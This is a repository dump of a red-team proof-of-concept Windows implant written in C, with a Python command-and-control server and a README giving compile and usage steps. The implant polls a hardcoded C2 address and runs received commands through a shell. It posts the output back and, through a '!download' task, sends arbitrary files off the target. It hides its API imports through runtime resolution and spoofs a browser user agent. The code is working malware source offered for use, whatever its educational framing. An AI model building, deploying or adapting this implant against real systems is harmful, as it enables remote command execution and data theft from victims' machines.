├── implant_usage.png ├── README.md ├── api.h ├── server.py └── implant.c /implant_usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Quack2332/Simple-C-Implant/HEAD/implant_usage.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Simple-C-Implant 2 | 3 | Just a simple implant written in C. More information can be found on the corresponding blog post [https://www.ribbiting-sec.info/posts/2024-06-05_csharp_obfuscator/](https://www.ribbiting-sec.info/posts/2024-07-31_implant/) 4 | 5 | ## Functionality 6 | 7 | For this PoC the following functionality was implemented: 8 | - Guardrails 9 | - Retrieve tasks from our C2 with a GET request 10 | - Execute commands 11 | - Send output to our C2 with a POST request 12 | - Download files from the file system (custom task) 13 | - Provide a random identifier for each connected client 14 | - For a little bonus, obfuscate the function calls 15 | 16 | ## Usage 17 | 18 | To use the implant you need to compile it with mingw and strip the binary 19 | 20 | `x86_64-w64-mingw32-gcc -o implant.exe implant.c -lwininet -s` 21 | 22 | Before compiling adjust the constants at the top of your file to include your C2 server, the domain in which you want to execute it and the sleep time. 23 | 24 | The server can be started with: `python3 server.py`. Modify the port, as per default port 80 will be used. 25 | 26 | You can issue commands which will be executed. Furthermore, I added one custom command `!download ` to read a file on the target system. 27 | 28 | ![Usage](implant_usage.png) 29 | 30 | ## Credits 31 | 32 | Thanks for Stackoverflow for some code, I provided the sources for each inspiration I took. 33 | 34 | Furthermore, thanks to the following blog post for the idea https://posts.specterops.io/deep-sea-phishing-pt-1-092a0637e2fd 35 | -------------------------------------------------------------------------------- /api.h: -------------------------------------------------------------------------------- 1 | typedef HINTERNET(WINAPI* InternetOpenA_imported)( 2 | LPCSTR lpszAgent, 3 | DWORD dwAccessType, 4 | LPCSTR lpszProxy, 5 | LPCSTR lpszProxyBypass, 6 | DWORD dwFlags 7 | ); 8 | 9 | 10 | typedef BOOL (WINAPI* HttpSendRequestA_imported)( 11 | HINTERNET hRequest, 12 | LPCSTR lpszHeaders, 13 | DWORD dwHeadersLength, 14 | LPVOID lpOptional, 15 | DWORD dwOptionalLength 16 | ); 17 | 18 | typedef HINTERNET(WINAPI* HttpOpenRequestA_imported)( 19 | HINTERNET hConnect, 20 | LPCSTR lpszVerb, 21 | LPCSTR lpszObjectName, 22 | LPCSTR lpszVersion, 23 | LPCSTR lpszReferrer, 24 | LPCSTR *lplpszAcceptTypes, 25 | DWORD dwFlags, 26 | DWORD_PTR dwContext 27 | ); 28 | 29 | typedef BOOL (WINAPI* HttpAddRequestHeadersA_imported)( 30 | HINTERNET hRequest, 31 | LPCSTR lpszHeaders, 32 | DWORD dwHeadersLength, 33 | DWORD dwModifiers 34 | ); 35 | 36 | 37 | typedef HINTERNET(WINAPI* InternetOpenUrlA_imported)( 38 | HINTERNET hInternet, 39 | LPCSTR lpszUrl, 40 | LPCSTR lpszHeaders, 41 | DWORD dwHeadersLength, 42 | DWORD dwFlags, 43 | DWORD_PTR dwContext 44 | ); 45 | 46 | 47 | typedef BOOL(WINAPI* InternetReadFile_imported)( 48 | HINTERNET hFile, 49 | LPVOID lpBuffer, 50 | DWORD dwNumberOfBytesToRead, 51 | LPDWORD lpdwNumberOfBytesRead 52 | ); 53 | 54 | typedef HINTERNET(WINAPI* InternetConnectA_imported)( 55 | HINTERNET hInternet, 56 | LPCSTR lpszServerName, 57 | INTERNET_PORT nServerPort, 58 | LPCSTR lpszUserName, 59 | LPCSTR lpszPassword, 60 | DWORD dwService, 61 | DWORD dwFlags, 62 | DWORD_PTR dwContext 63 | ); 64 | 65 | typedef BOOL (WINAPI* InternetCloseHandle_imported)( 66 | HINTERNET hInternet 67 | ); 68 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7 3 | from http.server import BaseHTTPRequestHandler, HTTPServer 4 | import logging 5 | 6 | import threading 7 | 8 | command = b"whoami" 9 | 10 | class S(BaseHTTPRequestHandler): 11 | def _set_response(self, status_code=200, content_type='text/html'): 12 | self.send_response(status_code) 13 | self.send_header('Content-type', content_type) 14 | self.end_headers() 15 | 16 | def do_GET(self): 17 | self._set_response(content_type="text/plain") 18 | self.wfile.write(command) 19 | 20 | def do_POST(self): 21 | content_length = int(self.headers['Content-Length']) # <--- Gets the size of data 22 | post_data = self.rfile.read(content_length) # <--- Gets the data itself 23 | print(post_data.decode('utf-8')) 24 | 25 | self._set_response() 26 | 27 | def log_request(self, code='-', size='-'): 28 | self.log_message('"%s"', self.requestline) 29 | 30 | 31 | def run(server_class=HTTPServer, handler_class=S, port=80): 32 | logging.basicConfig(level=logging.INFO) 33 | server_address = ('', port) 34 | httpd = server_class(server_address, handler_class) 35 | logging.info('Starting httpd...\n') 36 | try: 37 | httpd.serve_forever() 38 | except KeyboardInterrupt: 39 | pass 40 | httpd.server_close() 41 | logging.info('Stopping httpd...\n') 42 | 43 | def interactive_shell(): 44 | print("Interactive shell started. Type 'exit' to quit.") 45 | global command 46 | while True: 47 | user_input = input("Enter new command: ") 48 | if user_input == 'exit': 49 | print("Exiting interactive shell.") 50 | break 51 | elif user_input: 52 | command = user_input.encode() 53 | print(f"Command updated to: {command}") 54 | 55 | if __name__ == '__main__': 56 | # Start the HTTP server in a separate thread 57 | server_thread = threading.Thread(target=run, daemon=True) 58 | server_thread.start() 59 | 60 | # Start the interactive shell on the main thread 61 | interactive_shell() 62 | 63 | 64 | -------------------------------------------------------------------------------- /implant.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "api.h" 7 | 8 | // Constants 9 | #define SERVER_URL "http://192.168.0.136/" 10 | #define SERVER_IP "192.168.0.136" 11 | #define SLEEP_TIME 10000 12 | #define DOMAIN "WINDEV2301" 13 | #define BUFFER_SIZE 4096 14 | #define ID_LENGTH 4 15 | #define MAX_ARG_LENGTH 256 16 | #define MAX_ARGS 10 17 | 18 | 19 | 20 | 21 | // Function prototypes misc. 22 | char* getTask(const char* clientId, HMODULE wininet); 23 | char* taskIO(const char* data, const char* clientId, HMODULE wininet); 24 | void sleepMilliseconds(DWORD milliseconds); 25 | bool guardrails(const char* data); 26 | bool compareString(const char *pre, const char *str); 27 | void generateRandomString(char *str); 28 | //https://stackoverflow.com/questions/8465006/how-do-i-concatenate-two-strings-in-c 29 | char* concat(const char *s1, const char *s2); 30 | void parseParams(const char* input, char *command, char *arguments[]); 31 | void freeArguments(char *arguments[]); 32 | 33 | // Function prototypes functionality 34 | char* ReadFileContents(const char* filePath, DWORD* bytesRead); 35 | char* execCmd(const char* cmd); 36 | 37 | 38 | // Enum to define task types 39 | typedef enum { 40 | CMD_TASK, 41 | CUSTOM_TASK 42 | } TaskType; 43 | 44 | // Function to get task type from task string 45 | TaskType getTaskType(const char* task) { 46 | if (compareString("!", task)) { 47 | return CUSTOM_TASK; 48 | } 49 | return CMD_TASK; 50 | } 51 | 52 | int main() { 53 | 54 | srand(time(NULL)); 55 | char clientId[ID_LENGTH+1]; 56 | generateRandomString(clientId); 57 | //ShowWindow(GetConsoleWindow(), 0); 58 | 59 | if(!guardrails(DOMAIN)) 60 | return 0; 61 | 62 | HMODULE wininet_dll = GetModuleHandle("wininet.dll"); 63 | 64 | while (1) { 65 | char* newTask = getTask(clientId, wininet_dll); 66 | if (newTask != NULL && strlen(newTask) > 0) { 67 | printf("Task received %s\n", newTask); 68 | 69 | TaskType taskType = getTaskType(newTask); 70 | switch (taskType) { 71 | case CMD_TASK: { 72 | char* taskResult = execCmd(newTask); 73 | printf("%s\n", taskResult); 74 | if (taskResult != NULL) { 75 | taskIO(taskResult,clientId,wininet_dll); 76 | free(taskResult); 77 | } 78 | free(newTask); 79 | break; 80 | } 81 | case CUSTOM_TASK: { 82 | 83 | char command[MAX_ARG_LENGTH]; 84 | char* arguments[MAX_ARGS+1]; //+1 for the NULL terminator 85 | 86 | parseParams(newTask,command,arguments); 87 | 88 | if(compareString("!download",command)){ 89 | DWORD bytesRead; 90 | char* customTaskResult = ReadFileContents(arguments[0], &bytesRead); 91 | freeArguments(arguments); 92 | printf("%s\n", customTaskResult); 93 | if (customTaskResult != NULL) { 94 | taskIO(customTaskResult,clientId,wininet_dll); 95 | free(customTaskResult); 96 | } 97 | free(newTask); 98 | break; 99 | } 100 | break; 101 | } 102 | default: 103 | free(newTask); 104 | break; 105 | } 106 | } 107 | Sleep(SLEEP_TIME); 108 | } 109 | return 0; 110 | } 111 | char* getTask(const char* clientId, HMODULE wininet) { 112 | 113 | InternetOpenA_imported customInternetOpenA = (InternetOpenA_imported)GetProcAddress(wininet,"InternetOpenA"); 114 | 115 | HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 116 | char* param = concat("?id=",clientId); 117 | 118 | char* URL = concat(SERVER_URL,param); 119 | InternetOpenUrlA_imported customInternetOpenUrlA = (InternetOpenUrlA_imported)GetProcAddress(wininet,"InternetOpenUrlA"); 120 | HINTERNET hConnect = customInternetOpenUrlA(hInternet, URL, NULL, 0, INTERNET_FLAG_RELOAD, 0); 121 | 122 | free(param); 123 | free(URL); 124 | 125 | InternetCloseHandle_imported customInternetCloseHandle =(InternetCloseHandle_imported)GetProcAddress(wininet,"InternetCloseHandle"); 126 | 127 | if (hConnect == NULL) { 128 | customInternetCloseHandle(hInternet); 129 | return NULL; 130 | } 131 | 132 | char buffer[BUFFER_SIZE]; 133 | DWORD bytesRead; 134 | InternetReadFile_imported customInternetReadFile = (InternetReadFile_imported)GetProcAddress(wininet,"InternetReadFile"); 135 | customInternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead); 136 | 137 | buffer[bytesRead] = '\0'; 138 | 139 | char* task = _strdup(buffer); 140 | 141 | customInternetCloseHandle(hConnect); 142 | customInternetCloseHandle(hInternet); 143 | 144 | return task; 145 | } 146 | 147 | char* taskIO(const char* data,const char* clientId, HMODULE wininet) { 148 | 149 | InternetOpenA_imported customInternetOpenA = (InternetOpenA_imported)GetProcAddress(wininet,"InternetOpenA"); 150 | 151 | HINTERNET hInternet = customInternetOpenA("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 152 | 153 | InternetConnectA_imported customInternetConnectA = (InternetConnectA_imported)GetProcAddress(wininet, "InternetConnectA"); 154 | HINTERNET hConnect = customInternetConnectA(hInternet, SERVER_IP, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); 155 | 156 | char* POST_URL = concat("/",clientId); 157 | 158 | HttpOpenRequestA_imported customHttpOpenRequestA = (HttpOpenRequestA_imported)GetProcAddress(wininet, "HttpOpenRequestA"); 159 | 160 | HINTERNET hRequest = customHttpOpenRequestA(hConnect, "POST", POST_URL, NULL, NULL, NULL, 0, 0); 161 | free(POST_URL); 162 | 163 | char headers[] = "Content-Type: text/plain"; 164 | 165 | HttpAddRequestHeadersA_imported customHttpAddRequestHeaders = (HttpAddRequestHeadersA_imported)GetProcAddress(wininet,"HttpAddRequestHeadersA"); 166 | customHttpAddRequestHeaders(hRequest, headers, -1L, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); 167 | 168 | HttpSendRequestA_imported customHttpSendRequest = (HttpSendRequestA_imported)GetProcAddress(wininet, "HttpSendRequestA"); 169 | customHttpSendRequest(hRequest, NULL, 0, (LPVOID)data, strlen(data)); 170 | 171 | char buffer[BUFFER_SIZE]; 172 | DWORD bytesRead; 173 | 174 | InternetReadFile_imported customInternetReadFile = (InternetReadFile_imported)GetProcAddress(wininet,"InternetReadFile"); 175 | customInternetReadFile(hRequest, buffer, sizeof(buffer), &bytesRead); 176 | buffer[bytesRead] = '\0'; 177 | 178 | char* response = _strdup(buffer); 179 | 180 | InternetCloseHandle_imported customInternetCloseHandle =(InternetCloseHandle_imported)GetProcAddress(wininet,"InternetCloseHandle"); 181 | customInternetCloseHandle(hRequest); 182 | customInternetCloseHandle(hConnect); 183 | customInternetCloseHandle(hInternet); 184 | 185 | return response; 186 | } 187 | 188 | char* execCmd(const char* cmd) { 189 | // Create a pipe and execute the command 190 | FILE* pipe = _popen(cmd, "r"); 191 | if (!pipe) return NULL; 192 | char buffer[128]; 193 | size_t bufferSize = 128; 194 | size_t resultSize = bufferSize; 195 | char* result = (char*)malloc(resultSize); 196 | result[0] = '\0'; 197 | 198 | // Read Pipe 199 | while (fgets(buffer, bufferSize, pipe) != NULL) { 200 | size_t bufferLen = strlen(buffer); 201 | size_t resultLen = strlen(result); 202 | 203 | if (resultLen + bufferLen + 1 >= resultSize) { 204 | resultSize = resultLen + bufferLen + 1; 205 | result = (char*)realloc(result, resultSize); 206 | } 207 | 208 | strcat(result, buffer); 209 | } 210 | 211 | _pclose(pipe); 212 | 213 | return result; 214 | } 215 | 216 | 217 | bool guardrails(const char* domain){ 218 | char* taskResult = execCmd("echo %USERDOMAIN%"); 219 | 220 | if(compareString(domain,taskResult)) 221 | return TRUE; 222 | 223 | return FALSE; 224 | } 225 | 226 | char* ReadFileContents(const char* filePath, DWORD* bytesRead) { 227 | HANDLE hFile; 228 | DWORD fileSize; 229 | DWORD bytesToRead; 230 | DWORD bytesActuallyRead; 231 | char* buffer = NULL; 232 | 233 | // Open the file 234 | hFile = CreateFileA( 235 | filePath, // File path 236 | GENERIC_READ, // Desired access 237 | FILE_SHARE_READ, // Share mode 238 | NULL, // Security attributes 239 | OPEN_EXISTING, // Creation disposition 240 | FILE_ATTRIBUTE_NORMAL, // Flags and attributes 241 | NULL // Template file handle 242 | ); 243 | 244 | if (hFile == INVALID_HANDLE_VALUE) { 245 | printf("Could not open file (error %lu)\n", GetLastError()); 246 | return NULL; 247 | } 248 | 249 | // Get the file size 250 | fileSize = GetFileSize(hFile, NULL); 251 | if (fileSize == INVALID_FILE_SIZE) { 252 | printf("Could not get file size (error %lu)\n", GetLastError()); 253 | CloseHandle(hFile); 254 | return NULL; 255 | } 256 | 257 | // Allocate memory for the file content 258 | buffer = (char*)malloc(fileSize + 1); // +1 for the null terminator 259 | if (buffer == NULL) { 260 | printf("Memory allocation failed\n"); 261 | CloseHandle(hFile); 262 | return NULL; 263 | } 264 | 265 | // Read the file content 266 | bytesToRead = fileSize; 267 | if (!ReadFile(hFile, buffer, bytesToRead, &bytesActuallyRead, NULL)) { 268 | printf("Could not read file (error %lu)\n", GetLastError()); 269 | free(buffer); 270 | CloseHandle(hFile); 271 | return NULL; 272 | } 273 | 274 | // Null-terminate the buffer 275 | buffer[bytesActuallyRead] = '\0'; 276 | 277 | // Return the number of bytes read 278 | if (bytesRead) { 279 | *bytesRead = bytesActuallyRead; 280 | } 281 | 282 | // Close the file handle 283 | CloseHandle(hFile); 284 | 285 | return buffer; 286 | } 287 | 288 | bool compareString(const char *pre, const char *str) 289 | { 290 | return strncmp(pre, str, strlen(pre)) == 0; 291 | } 292 | 293 | void generateRandomString(char *str) { 294 | char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 295 | int charsetSize = sizeof(charset) - 1; 296 | 297 | for (int i = 0; i < ID_LENGTH; i++) { 298 | int key = rand() % charsetSize; 299 | str[i] = charset[key]; 300 | } 301 | str[ID_LENGTH] = '\0'; 302 | } 303 | 304 | char* concat(const char *s1, const char *s2) 305 | { 306 | char *result = malloc(strlen(s1) + strlen(s2) + 1); // +1 for the null-terminator 307 | // in real code you would check for errors in malloc here 308 | strcpy(result, s1); 309 | strcat(result, s2); 310 | return result; 311 | } 312 | 313 | 314 | void parseParams(const char *input, char *command, char *arguments[]) { 315 | char *token; 316 | char *input_copy = strdup(input); // Make a copy of the input string to avoid modifying the original 317 | int arg_count = 0; 318 | 319 | // Get the first token (the command) 320 | token = strtok(input_copy, " "); 321 | if (token != NULL) { 322 | strcpy(command, token); 323 | } else { 324 | command[0] = '\0'; // If no command found, set command to an empty string 325 | } 326 | 327 | // Get the arguments 328 | while ((token = strtok(NULL, " ")) != NULL && arg_count < MAX_ARGS) { 329 | arguments[arg_count] = strdup(token); 330 | arg_count++; 331 | } 332 | 333 | // Null-terminate the arguments array 334 | arguments[arg_count] = NULL; 335 | 336 | // Free the duplicated input string 337 | free(input_copy); 338 | } 339 | 340 | void freeArguments(char *arguments[]) { 341 | for (int i = 0; arguments[i] != NULL; i++) { 342 | free(arguments[i]); 343 | } 344 | } 345 | 346 | --------------------------------------------------------------------------------